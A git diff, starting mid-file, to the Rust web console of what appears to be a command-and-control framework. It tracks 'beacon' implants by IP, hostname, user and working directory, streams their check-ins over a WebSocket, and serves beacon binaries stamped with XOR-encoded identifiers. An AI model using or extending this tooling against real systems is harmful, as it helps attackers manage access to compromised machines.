"6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897" +} diff --git a/sparse-server/.sqlx/query-75edc2bc9adda52aa7e9cd68f980db95744690cb3fc1b9cccfb3ab6f63d0ab25.json b/sparse-server/.sqlx/query-75edc2bc9adda52aa7e9cd68f980db95744690cb3fc1b9cccfb3ab6f63d0ab25.json new file mode 100644 index 0000000..2528d25 --- /dev/null +++ b/sparse-server/.sqlx/query-75edc2bc9adda52aa7e9cd68f980db95744690cb3fc1b9cccfb3ab6f63d0ab25.json @@ -0,0 +1,68 @@ +{ + "db_name": "SQLite", + "query": "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance", + "describe": { + "columns": [ + { + "name": "beacon_id", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "template_id", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "peer_ip", + "ordinal": 2, + "type_info": "Text" + }, + { + "name": "nickname", + "ordinal": 3, + "type_info": "Text" + }, + { + "name": "cwd", + "ordinal": 4, + "type_info": "Text" + }, + { + "name": "operating_system", + "ordinal": 5, + "type_info": "Text" + }, + { + "name": "beacon_userent", + "ordinal": 6, + "type_info": "Text" + }, + { + "name": "hostname", + "ordinal": 7, + "type_info": "Text" + }, + { + "name": "config_id", + "ordinal": 8, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + false, + false, + true + ] + }, + "hash": "75edc2bc9adda52aa7e9cd68f980db95744690cb3fc1b9cccfb3ab6f63d0ab25" +} diff --git a/sparse-server/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json b/sparse-server/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json new file mode 100644 index 0000000..b00d4a7 --- /dev/null +++ b/sparse-server/.sqlx/query-bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3.json @@ -0,0 +1,50 @@ +{ + "db_name": "SQLite", + "query": "SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_config c ON c.config_id = i.config_id\n WHERE i.beacon_id = ?\n UNION\n SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_template t ON i.template_id = t.template_id\n INNER JOIN beacon_config c ON t.config_id = c.config_id\n WHERE i.beacon_id = ?", + "describe": { + "columns": [ + { + "name": "mode", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "regular_interval", + "ordinal": 1, + "type_info": "Integer" + }, + { + "name": "random_min_time", + "ordinal": 2, + "type_info": "Integer" + }, + { + "name": "random_max_time", + "ordinal": 3, + "type_info": "Integer" + }, + { + "name": "cron_schedule", + "ordinal": 4, + "type_info": "Text" + }, + { + "name": "cron_mode", + "ordinal": 5, + "type_info": "Text" + } + ], + "parameters": { + "Right": 2 + }, + "nullable": [ + true, + true, + true, + true, + true, + true + ] + }, + "hash": "bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3" +} diff --git a/sparse-server/.sqlx/query-e7dddc194dcb297f672a9270f801ea23192e9fa53559b9fcfcffddeb3f571d15.json b/sparse-server/.sqlx/query-e7dddc194dcb297f672a9270f801ea23192e9fa53559b9fcfcffddeb3f571d15.json new file mode 100644 index 0000000..baf9b25 --- /dev/null +++ b/sparse-server/.sqlx/query-e7dddc194dcb297f672a9270f801ea23192e9fa53559b9fcfcffddeb3f571d15.json @@ -0,0 +1,26 @@ +{ + "db_name": "SQLite", + "query": "SELECT beacon_id, category_id FROM beacon_category_assignment", + "describe": { + "columns": [ + { + "name": "beacon_id", + "ordinal": 0, + "type_info": "Text" + }, + { + "name": "category_id", + "ordinal": 1, + "type_info": "Integer" + } + ], + "parameters": { + "Right": 0 + }, + "nullable": [ + false, + false + ] + }, + "hash": "e7dddc194dcb297f672a9270f801ea23192e9fa53559b9fcfcffddeb3f571d15" +} diff --git a/sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json b/sparse-server/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json similarity index 61% rename from sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json rename to sparse-server/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json index 5fee44a..62a4208 100644 --- a/sparse-server/.sqlx/query-e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69.json +++ b/sparse-server/.sqlx/query-f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311.json @@ -1,36 +1,26 @@ { "db_name": "SQLite", - "query": "SELECT * FROM beacon_listener WHERE listener_id = ?", + "query": "SELECT port, domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?", "describe": { "columns": [ { - "name": "listener_id", + "name": "port", "ordinal": 0, "type_info": "Integer" }, - { - "name": "port", - "ordinal": 1, - "type_info": "Integer" - }, - { - "name": "public_ip", - "ordinal": 2, - "type_info": "Text" - }, { "name": "domain_name", - "ordinal": 3, + "ordinal": 1, "type_info": "Text" }, { "name": "certificate", - "ordinal": 4, + "ordinal": 2, "type_info": "Blob" }, { "name": "privkey", - "ordinal": 5, + "ordinal": 3, "type_info": "Blob" } ], @@ -38,13 +28,11 @@ "Right": 1 }, "nullable": [ - false, - false, false, false, false, false ] }, - "hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69" + "hash": "f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311" } diff --git a/sparse-server/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json b/sparse-server/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json new file mode 100644 index 0000000..2bc2685 --- /dev/null +++ b/sparse-server/.sqlx/query-fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd.json @@ -0,0 +1,12 @@ +{ + "db_name": "SQLite", + "query": "INSERT INTO beacon_instance\n (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)\n VALUES\n (?, ?, ?, \"\", ?, ?, ?, ?)", + "describe": { + "columns": [], + "parameters": { + "Right": 7 + }, + "nullable": [] + }, + "hash": "fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd" +} diff --git a/sparse-server/Cargo.toml b/sparse-server/Cargo.toml index ab163ce..9d793ef 100644 --- a/sparse-server/Cargo.toml +++ b/sparse-server/Cargo.toml @@ -30,7 +30,7 @@ futures-util = { version = "0.3", optional = true } tracing = { version = "0.1", optional = true } web-sys = { version = "0.3", features = ["WebSocket"] } leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] } -codee = "0.2" +codee = { version = "0.2", features = ["json_serde"] } sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true } chrono = { version = "0.4", features = ["serde"] } rpassword = { version = "7.3", optional = true } @@ -46,6 +46,8 @@ rand = { version = "0.9", optional = true } sparse-actions = { path = "../sparse-actions", optional = true } sparse-handler = { path = "../sparse-handler", optional = true } +serde_json = "1.0.139" +send_wrapper = "0.6.0" [features] embed-beacons = [] diff --git a/sparse-server/migrations/20250221035300_beacon_config_mto1.sql b/sparse-server/migrations/20250221035300_beacon_config_mto1.sql new file mode 100644 index 0000000..fc836d7 --- /dev/null +++ b/sparse-server/migrations/20250221035300_beacon_config_mto1.sql @@ -0,0 +1,19 @@ +DROP TABLE beacon_config_assignment; +DROP TABLE beacon_instance; + +CREATE TABLE beacon_instance ( + beacon_id varchar PRIMARY KEY NOT NULL, + template_id int NOT NULL, + peer_ip varchar NOT NULL, + nickname varchar NOT NULL, + + cwd varchar NOT NULL, + operating_system varchar NOT NULL, + beacon_userent varchar NOT NULL, + hostname varchar NOT NULL, + + config_id int, + + FOREIGN KEY (template_id) REFERENCES beacon_template, + FOREIGN KEY (config_id) REFERENCES beacon_config +); diff --git a/sparse-server/migrations/20250222071958_new_assignments.sql b/sparse-server/migrations/20250222071958_new_assignments.sql new file mode 100644 index 0000000..f74e28c --- /dev/null +++ b/sparse-server/migrations/20250222071958_new_assignments.sql @@ -0,0 +1,11 @@ +DROP TABLE beacon_category_assignment; + +CREATE TABLE beacon_category_assignment ( + category_id int NOT NULL, + beacon_id varchar NOT NULL, + + PRIMARY KEY (category_id, beacon_id), + + FOREIGN KEY (category_id) REFERENCES beacon_category, + FOREIGN KEY (beacon_id) REFERENCES beacon_instance +); diff --git a/sparse-server/src/app.rs b/sparse-server/src/app.rs index 0c39e81..2a17d2d 100644 --- a/sparse-server/src/app.rs +++ b/sparse-server/src/app.rs @@ -56,6 +56,7 @@ pub fn App() -> impl IntoView { let login = ServerAction::::new(); + #[cfg_attr(not(feature = "hydrate"), allow(unused_variables))] let (user_res, set_user_res) = signal(None::); let user = Resource::new(move || login.version().get(), |_| async { me().await }); @@ -77,11 +78,11 @@ pub fn App() -> impl IntoView { - + }/> - - - - - - + + + + + + "Select a menu item on the left to get started"

}/> diff --git a/sparse-server/src/beacons.rs b/sparse-server/src/beacons.rs index 6868264..e130223 100644 --- a/sparse-server/src/beacons.rs +++ b/sparse-server/src/beacons.rs @@ -1,25 +1,13 @@ use leptos::prelude::*; use leptos_router::{components::A, nested_router::Outlet}; -mod categories; -mod commands; -mod configs; -mod instances; -mod listeners; -mod templates; - -#[allow(dead_code)] -pub use categories::CategoriesView; -#[allow(dead_code)] -pub use commands::CommandsView; -#[allow(dead_code)] -pub use configs::ConfigsView; -#[allow(dead_code)] -pub use instances::InstancesView; -#[allow(dead_code)] -pub use listeners::ListenersView; -#[allow(dead_code)] -pub use templates::TemplatesView; +pub mod categories; +pub mod commands; +pub mod configs; +pub mod instances; +pub mod listeners; +pub mod templates; +pub mod sidebar; #[derive(Clone)] pub struct BeaconResources { @@ -39,6 +27,9 @@ pub struct BeaconResources { templates: Resource, ServerFnError>>, } +// For some reason, this function "isn't used" +// See app.rs:72 +#[allow(dead_code)] pub fn provide_beacon_resources() { let user = expect_context::>>(); @@ -146,53 +137,3 @@ pub fn BeaconView() -> impl IntoView { } } -enum SortMethod { - Listener, - Config, - Category, - Template, -} - -impl std::str::FromStr for SortMethod { - type Err = (); - - fn from_str(s: &str) -> Result { - match s { - "Listener" => Ok(Self::Listener), - "Config" => Ok(Self::Config), - "Category" => Ok(Self::Category), - "Template" => Ok(Self::Template), - &_ => Err(()), - } - } -} - -impl std::string::ToString for SortMethod { - fn to_string(&self) -> String { - use SortMethod as SM; - match self { - SM::Listener => "Listener", - SM::Config => "Config", - SM::Category => "Category", - SM::Template => "Template", - } - .to_string() - } -} - -#[component] -pub fn BeaconSidebar() -> impl IntoView { - let (sort_method, set_sort_method) = signal(SortMethod::Category); - let search_input = RwSignal::new("".to_string()); - - view! { - - } -} diff --git a/sparse-server/src/beacons/categories.rs b/sparse-server/src/beacons/categories.rs index 40fdbbd..a51c757 100644 --- a/sparse-server/src/beacons/categories.rs +++ b/sparse-server/src/beacons/categories.rs @@ -1,7 +1,7 @@ use leptos::{either::Either, prelude::*}; use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] -use {crate::db::user, leptos::server_fn::error::NoCustomError, sqlx::SqlitePool}; +use {crate::db::user, leptos::server_fn::error::NoCustomError}; use super::BeaconResources; diff --git a/sparse-server/src/beacons/configs.rs b/sparse-server/src/beacons/configs.rs index 7646774..2e412c3 100644 --- a/sparse-server/src/beacons/configs.rs +++ b/sparse-server/src/beacons/configs.rs @@ -4,7 +4,7 @@ use serde::{Deserialize, Serialize}; use { crate::db::user, leptos::server_fn::error::NoCustomError, - sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + sqlx::{sqlite::SqliteRow, FromRow, Row}, std::str::FromStr, }; diff --git a/sparse-server/src/beacons/listeners.rs b/sparse-server/src/beacons/listeners.rs index 102fd7b..1c45546 100644 --- a/sparse-server/src/beacons/listeners.rs +++ b/sparse-server/src/beacons/listeners.rs @@ -7,9 +7,7 @@ use serde::{Deserialize, Serialize}; use { crate::db::user, leptos::server_fn::error::NoCustomError, - rcgen::{generate_simple_self_signed, CertifiedKey}, - sparse_handler::BeaconListenerMap, - sqlx::SqlitePool, + sparse_handler::BeaconListenerMap }; use super::BeaconResources; @@ -185,7 +183,12 @@ pub async fn start_listener(listener_id: i64) -> Result<(), ServerFnError> { )); } - sparse_handler::start_listener(expect_context(), listener_id, expect_context()).await?; + sparse_handler::start_listener( + expect_context(), + listener_id, + expect_context(), + expect_context() + ).await?; Ok(()) } diff --git a/sparse-server/src/beacons/sidebar.rs b/sparse-server/src/beacons/sidebar.rs new file mode 100644 index 0000000..7b6a2a5 --- /dev/null +++ b/sparse-server/src/beacons/sidebar.rs @@ -0,0 +1,311 @@ +use std::sync::Arc; + +use leptos::prelude::*; +#[cfg(feature = "hydrate")] +use leptos_use::{use_websocket, UseWebSocketReturn}; +use serde::{Deserialize, Serialize}; + +use crate::beacons::BeaconResources; + +#[cfg(feature = "hydrate")] +use super::templates::BeaconTemplate; + +#[derive(Clone)] +enum SortMethod { + Listener, + Config, + Category, + Template, +} + +impl std::str::FromStr for SortMethod { + type Err = (); + + fn from_str(s: &str) -> Result { + match s { + "Listener" => Ok(Self::Listener), + "Config" => Ok(Self::Config), + "Category" => Ok(Self::Category), + "Template" => Ok(Self::Template), + &_ => Err(()), + } + } +} + +impl std::string::ToString for SortMethod { + fn to_string(&self) -> String { + use SortMethod as SM; + match self { + SM::Listener => "Listener", + SM::Config => "Config", + SM::Category => "Category", + SM::Template => "Template", + } + .to_string() + } +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct CurrentBeaconInstance { + pub beacon_id: String, + pub ip: String, + pub nickname: String, + pub cwd: String, + pub operating_system: String, + pub userent: String, + pub hostname: String, + pub last_checkin: chrono::DateTime, + pub config_id: Option, + pub template_id: i64, + pub category_ids: Vec, +} + +// Safety: the only time this comes up is on the client, which is +// not a multi-threaded environment +unsafe impl Send for CurrentBeaconInstance {} +unsafe impl Send for SidebarEvents {} + +#[derive(Clone, Serialize, Deserialize)] +pub enum SidebarEvents { + BeaconList(Vec), + NewBeacon(CurrentBeaconInstance), + Checkin(String), +} + +#[component] +pub fn BeaconSidebar() -> impl IntoView { + let BeaconResources { + listeners, + templates, + configs, + categories, + .. + } = expect_context::(); + + let current_beacons = RwSignal::new(None::>); + + #[cfg(feature = "hydrate")] + let (web_socket, rebuild_websocket) = signal(use_websocket::< + (), + SidebarEvents, + codee::string::JsonSerdeCodec, + >("/api/subscribe/listener")); + + #[cfg(feature = "hydrate")] + Effect::new(move |_| { + web_socket.with(move |uwsr| { + uwsr.message.with(move |message| { + let Some(m) = message else { + return; + }; + + match m { + SidebarEvents::BeaconList(bs) => { + let mut bs = bs.to_vec(); + bs.sort_by_key(|b| b.last_checkin); + current_beacons.set(Some(bs)); + } + SidebarEvents::NewBeacon(b) => { + current_beacons.update(|bso| { + if let Some(ref mut bs) = bso { + bs.push(b.clone()) + } + }); + } + SidebarEvents::Checkin(bid) => current_beacons.update(|bs| { + let Some(ref mut bs) = bs else { + return; + }; + if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) { + b.last_checkin = chrono::Utc::now(); + } + }), + } + }); + }); + }); + + #[cfg(feature = "hydrate")] + Effect::new(move |_| { + let user = expect_context::>>(); + user.with(move |_| { + rebuild_websocket(use_websocket::< + (), + SidebarEvents, + codee::string::JsonSerdeCodec, + >("/api/subscribe/listener")); + }); + }); + + let (sort_method, set_sort_method) = signal(None::); + let search_input = RwSignal::new("".to_string()); + + struct BeaconPartition { + title: Option, + beacons: Arc Vec + Send + Sync>, + } + + // Safety: BeaconPartition is only ever constructed on the client side, + // where there is only one thread + unsafe impl Send for BeaconPartition {} + + #[cfg(not(feature = "ssr"))] + let partitions = move || -> Vec { + leptos::logging::log!( + "There are {:?} beacons", + current_beacons.read().as_ref().map(Vec::len) + ); + let sm = sort_method.read(); + + //let Some(Ok(ref listeners)) = *listeners.read() else { + // return vec![]; + //}; + //let Some(Ok(ref templates)) = *templates.read() else { + // return vec![]; + //}; + //let Some(Ok(ref categories)) = *categories.read() else { + // return vec![]; + //}; + + match *sm { + Some(SortMethod::Config) => { + let Some(Ok(ref configs)) = *configs.read() else { + return vec![]; + }; + + configs + .iter() + .map(|config| { + let config = config.clone(); + BeaconPartition { + title: Some(config.config_name.clone()), + beacons: Arc::new(move || { + let Some(Ok(ref templates)) = *templates.read() else { + return vec![]; + }; + current_beacons + .get() + .unwrap_or(vec![]) + .iter() + .filter(|b| { + b.config_id.or(templates + .iter() + .find(|t| t.template_id == b.template_id) + .map(|t| t.config_id)) + == Some(config.config_id) + }) + .map(Clone::clone) + .collect() + }), + } + }) + .collect::>() + } + Some(SortMethod::Listener) => { + let Some(Ok(ref listeners)) = *listeners.read() else { + return vec![]; + }; + + listeners + .iter() + .map(|listener| { + let listener = listener.clone(); + BeaconPartition { + title: Some(listener.domain_name.clone()), + beacons: Arc::new(move || { + let Some(Ok(ref templates)) = *templates.read() else { + return vec![]; + }; + + current_beacons + .get() + .unwrap_or(vec![]) + .iter() + .filter(|b| { + templates + .iter() + .find(|t| t.template_id == b.template_id) + .map(|t| t.listener_id == listener.listener_id) + .unwrap_or_default() + }) + .map(Clone::clone) + .collect() + }), + } + }) + .collect() + } + _ => vec![BeaconPartition { + title: None, + beacons: Arc::new(move || current_beacons.get().unwrap_or(vec![]).clone()), + }], + } + }; + + // Safety: because this constructs nothing, it maintains the Safety + // invariants above + #[cfg(feature = "ssr")] + let partitions = || { + vec![BeaconPartition { + title: None, + beacons: Arc::new(move || vec![]), + }] + }; + + view! { + + } +} diff --git a/sparse-server/src/beacons/templates.rs b/sparse-server/src/beacons/templates.rs index b8db35f..9c5520b 100644 --- a/sparse-server/src/beacons/templates.rs +++ b/sparse-server/src/beacons/templates.rs @@ -4,7 +4,7 @@ use serde::{Deserialize, Serialize}; use { crate::db::user, leptos::server_fn::error::NoCustomError, - sqlx::{sqlite::SqliteRow, FromRow, Row, SqlitePool}, + sqlx::{sqlite::SqliteRow, FromRow, Row}, std::net::Ipv4Addr, }; @@ -35,18 +35,18 @@ impl FromRow<'_, SqliteRow> for BeaconSourceMode { #[cfg_attr(feature = "ssr", derive(FromRow))] #[derive(Clone, Serialize, Deserialize)] pub struct BeaconTemplate { - template_id: i64, - template_name: String, - operating_system: String, + pub template_id: i64, + pub template_name: String, + pub operating_system: String, - source_ip: String, - source_mac: Option, + pub source_ip: String, + pub source_mac: Option, #[cfg_attr(feature = "ssr", sqlx(flatten))] - source_mode: BeaconSourceMode, + pub source_mode: BeaconSourceMode, - config_id: i64, - listener_id: i64, - default_category: Option, + pub config_id: i64, + pub listener_id: i64, + pub default_category: Option, } cfg_if::cfg_if! { @@ -113,12 +113,12 @@ pub async fn add_template( .fetch_one(&db) .await?; - use rcgen::{Certificate, CertificateParams, KeyPair}; + use rcgen::{CertificateParams, KeyPair}; let keypair = KeyPair::from_der_and_sign_algo( match &rustls_pki_types::PrivateKeyDer::try_from(&*listener.privkey) { Ok(pk) => pk, - Err(e) => { + Err(_) => { srverr!("Could not parse private key: {e}"); } }, diff --git a/sparse-server/src/db/user.rs b/sparse-server/src/db/user.rs index 6194ba2..a1fa2f9 100644 --- a/sparse-server/src/db/user.rs +++ b/sparse-server/src/db/user.rs @@ -1,3 +1,4 @@ +use axum_extra::extract::cookie::CookieJar; use leptos::{prelude::*, server_fn::error::NoCustomError}; use leptos_axum::{extract, ResponseOptions}; use pbkdf2::{ @@ -196,15 +197,10 @@ pub async fn destroy_auth_session() -> Result<(), ServerFnError> { Ok(()) } -pub async fn get_auth_session() -> Result, ServerFnError> { - use axum_extra::extract::cookie::CookieJar; - - println!("In get auth session"); - let owner = leptos::prelude::Owner::current().unwrap(); - - let db = crate::db::get_db()?; - let jar = extract::().await?; - +pub async fn get_auth_session_inner( + db: SqlitePool, + jar: CookieJar +) -> Result, crate::error::Error> { let Some(cookie) = jar.get(SESSION_ID_KEY) else { return Ok(None); }; @@ -252,3 +248,12 @@ pub async fn get_auth_session() -> Result, ServerFnError> { Ok(user) } + +pub async fn get_auth_session() -> Result, ServerFnError> { + let db = crate::db::get_db()?; + let jar = extract::().await?; + + get_auth_session_inner(db, jar) + .await + .map_err(Into::into) +} diff --git a/sparse-server/src/error.rs b/sparse-server/src/error.rs index f4d4de7..7b99dbd 100644 --- a/sparse-server/src/error.rs +++ b/sparse-server/src/error.rs @@ -10,7 +10,10 @@ pub enum Error { Pbkdf2(pbkdf2::password_hash::errors::Error), #[cfg(feature = "ssr")] Io(std::io::Error), + #[cfg(feature = "ssr")] + Axum(axum::Error), AddrParse(std::net::AddrParseError), + Json(serde_json::Error), } impl std::fmt::Display for Error { @@ -41,6 +44,13 @@ impl std::fmt::Display for Error { Error::AddrParse(err) => { write!(f, "ip address parse error: {err:?}") } + Error::Json(err) => { + write!(f, "json encode/decode error: {err:?}") + } + #[cfg(feature = "ssr")] + Error::Axum(err) => { + write!(f, "axum error: {err:?}") + } } } } @@ -55,6 +65,9 @@ impl std::error::Error for Error { #[cfg(feature = "ssr")] Error::Io(err) => Some(err), Error::AddrParse(err) => Some(err), + Error::Json(err) => Some(err), + #[cfg(feature = "ssr")] + Error::Axum(err) => Some(err), _ => None, } } @@ -112,3 +125,16 @@ impl From for Error { Self::AddrParse(err) } } + +impl From for Error { + fn from(err: serde_json::Error) -> Self { + Self::Json(err) + } +} + +#[cfg(feature = "ssr")] +impl From for Error { + fn from(err: axum::Error) -> Self { + Self::Axum(err) + } +} diff --git a/sparse-server/src/main.rs b/sparse-server/src/main.rs index 2c3deed..8ea86f0 100644 --- a/sparse-server/src/main.rs +++ b/sparse-server/src/main.rs @@ -21,7 +21,7 @@ async fn main() -> anyhow::Result { tracing_subscriber::registry() .with( tracing_subscriber::EnvFilter::try_from_default_env().unwrap_or_else(|_| { - format!("{}=debug,sparse_handler=debug,tower_http=trace", env!("CARGO_CRATE_NAME")).into() + format!("{}=debug,sparse_handler=debug", env!("CARGO_CRATE_NAME")).into() }), ) .with(tracing_subscriber::fmt::layer()) diff --git a/sparse-server/src/socket.rs b/sparse-server/src/socket.rs new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/sparse-server/src/socket.rs @@ -0,0 +1 @@ + diff --git a/sparse-server/src/users.rs b/sparse-server/src/users.rs index 90ae004..5cf68cb 100644 --- a/sparse-server/src/users.rs +++ b/sparse-server/src/users.rs @@ -2,7 +2,7 @@ use chrono::{offset::Utc, DateTime}; use leptos::prelude::*; use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] -use {crate::db::user, leptos::server_fn::error::NoCustomError, sqlx::SqlitePool}; +use {crate::db::user, leptos::server_fn::error::NoCustomError}; pub fn format_delta(time: chrono::TimeDelta) -> String { let seconds = time.num_seconds(); @@ -98,9 +98,9 @@ async fn reset_password(user_id: i64, password: String) -> Result<(), ServerFnEr pub fn RenderUser(refresh_user_list: Action<(), ()>, user: PubUser) -> impl IntoView { use leptos_use::{use_interval, UseIntervalReturn}; - #[cfg_attr(feature = "ssr", allow(unused_variables))] + #[cfg(feature = "hydrate")] let UseIntervalReturn { counter, .. } = use_interval(1000); - #[cfg_attr(feature = "ssr", allow(unused_variables))] + #[cfg_attr(not(feature = "hydrate"), allow(unused_variables))] let (time_ago, set_time_ago) = signal( user.last_active .map(|active| format_delta(Utc::now() - active)), diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index 582140b..d18ba20 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -1,11 +1,12 @@ use std::{net::SocketAddrV4, process::ExitCode}; use axum::{ - extract::{FromRef, Path, Query, State}, + extract::{ws, FromRef, Path, Query, State}, response::IntoResponse, routing::{get, post}, Router, }; +use axum_extra::extract::cookie::CookieJar; use leptos::prelude::*; use leptos_axum::{generate_route_list, LeptosRoutes}; use serde::Deserialize; @@ -94,10 +95,12 @@ pub async fn get_beacon(btype: &str) -> Result, crate::error::Error> { } } -#[derive(FromRef, Clone, Debug)] +#[derive(FromRef, Clone)] pub struct AppState { db: SqlitePool, leptos_options: leptos::config::LeptosOptions, + beacon_listeners: sparse_handler::BeaconListenerMap, + beacon_event_broadcast: tokio::sync::broadcast::Sender, } async fn get_parameters_bytes( @@ -237,7 +240,10 @@ pub async fn download_beacon( State(db): State, Query(beacon_params): Query, ) -> Result { - let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?; + use rand::{rngs::OsRng, TryRngCore}; + use sparse_actions::payload_types::{Parameters_t, XOR_KEY}; + + let (mut parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?; let binary = if beacon_params.use_svc.unwrap_or_default() { tracing::debug!("Downloading windows service"); @@ -252,6 +258,22 @@ pub async fn download_beacon( let installer_bytes = get_beacon(&binary).await?; + let parameters: &mut Parameters_t = + unsafe { std::mem::transmute(parameters_bytes.as_mut_ptr()) }; + let mut identifier = [0u8; 32]; + OsRng + .try_fill_bytes(&mut identifier) + .expect("Could not generate beacon identifier"); + + let hex_ident = hex::encode(&identifier) + .as_bytes() + .iter() + .map(|b| b ^ (XOR_KEY as u8)) + .collect::>(); + parameters + .beacon_identifier + .copy_from_slice(&hex_ident); + use axum::http::header; Ok(( @@ -301,6 +323,118 @@ pub async fn download_beacon_installer( )) } +pub async fn subscribe_to_listener_events( + State(state): State, + cookie_jar: CookieJar, + ws: ws::WebSocketUpgrade +) -> axum::response::Response { + let user = match crate::db::user::get_auth_session_inner( + state.db.clone(), + cookie_jar + ).await { + Ok(u) => u, + Err(e) => { + tracing::warn!("Could not load user session: {e:?}"); + return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response(); + } + }; + + if user.is_none() { + return axum::http::StatusCode::UNAUTHORIZED.into_response(); + } + + ws + .on_upgrade(move |socket: ws::WebSocket| async move { + if let Err(e) = handle_listener_events(socket, state).await { + tracing::warn!("Encountered error when handling event subscriber: {e}"); + }; + }) + .into_response() +} + +async fn handle_listener_events( + mut socket: ws::WebSocket, + state: AppState, +) -> Result<(), crate::error::Error> { + use sqlx::{sqlite::SqliteRow, Row}; + + use crate::beacons::sidebar::{CurrentBeaconInstance, SidebarEvents}; + + { + let beacons = sqlx::query!( + "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance" + ) + .fetch_all(&state.db) + .await?; + + struct CheckinResult { + beacon_id: String, + checkin_date: chrono::DateTime + } + + impl sqlx::FromRow<'_, SqliteRow> for CheckinResult { + fn from_row(row: &SqliteRow) -> sqlx::Result { + Ok(CheckinResult { + beacon_id: row.get("beacon_id"), + checkin_date: row.get("checkin_date") + }) + } + } + + let last_checkin: Vec = sqlx::query_as( + "SELECT beacon_id, MAX(checkin_date) as checkin_date FROM beacon_checkin + GROUP BY beacon_id" + ) + .fetch_all(&state.db) + .await?; + + let category_ids = sqlx::query!( + "SELECT beacon_id, category_id FROM beacon_category_assignment" + ) + .fetch_all(&state.db) + .await?; + + let beacons = SidebarEvents::BeaconList( + beacons + .into_iter() + .map(|b| CurrentBeaconInstance { + beacon_id: b.beacon_id.clone(), + template_id: b.template_id, + ip: b.peer_ip, + nickname: b.nickname, + cwd: b.cwd, + operating_system: b.operating_system, + userent: b.beacon_userent, + hostname: b.hostname, + config_id: b.config_id, + last_checkin: last_checkin + .iter() + .find(|ch| ch.beacon_id == b.beacon_id) + .clone() + .map(|ch| ch.checkin_date) + .unwrap_or_else(|| chrono::Utc::now()), + category_ids: category_ids + .iter() + .filter(|cat| cat.beacon_id == b.beacon_id) + .map(|cat| cat.category_id) + .collect() + }) + .collect::>() + ); + + let json = serde_json::to_string(&beacons)?; + + socket.send(ws::Message::Text(json.into())).await?; + } + + let mut event_receiver = state.beacon_event_broadcast.subscribe(); + + loop { + let event = event_receiver.recv().await; + + } +} + pub async fn serve_web( management_address: SocketAddrV4, db: SqlitePool, @@ -308,6 +442,7 @@ pub async fn serve_web( let conf = get_configuration(None).unwrap(); let leptos_options = conf.leptos_options; let routes = generate_route_list(App); + let beacon_event_broadcast = tokio::sync::broadcast::Sender::::new(128); let beacon_listeners = sparse_handler::BeaconListenerMap::default(); let compression_layer = tower_http::compression::CompressionLayer::new() @@ -316,11 +451,17 @@ pub async fn serve_web( .br(true) .zstd(true); - sparse_handler::start_all_listeners(beacon_listeners.clone(), db.clone()).await?; + sparse_handler::start_all_listeners( + beacon_listeners.clone(), + db.clone(), + beacon_event_broadcast.clone() + ).await?; let state = AppState { leptos_options: leptos_options.clone(), db: db.clone(), + beacon_listeners: beacon_listeners.clone(), + beacon_event_broadcast: beacon_event_broadcast.clone() }; let app = Router::new() @@ -329,6 +470,10 @@ pub async fn serve_web( get(download_beacon_installer), ) .route("/binaries/beacon/:template_id", get(download_beacon)) + .route( + "/api/subscribe/listener", + axum::routing::any(subscribe_to_listener_events) + ) .route("/api/*fn_name", post(leptos_axum::handle_server_fns)) .leptos_routes_with_context( &state, @@ 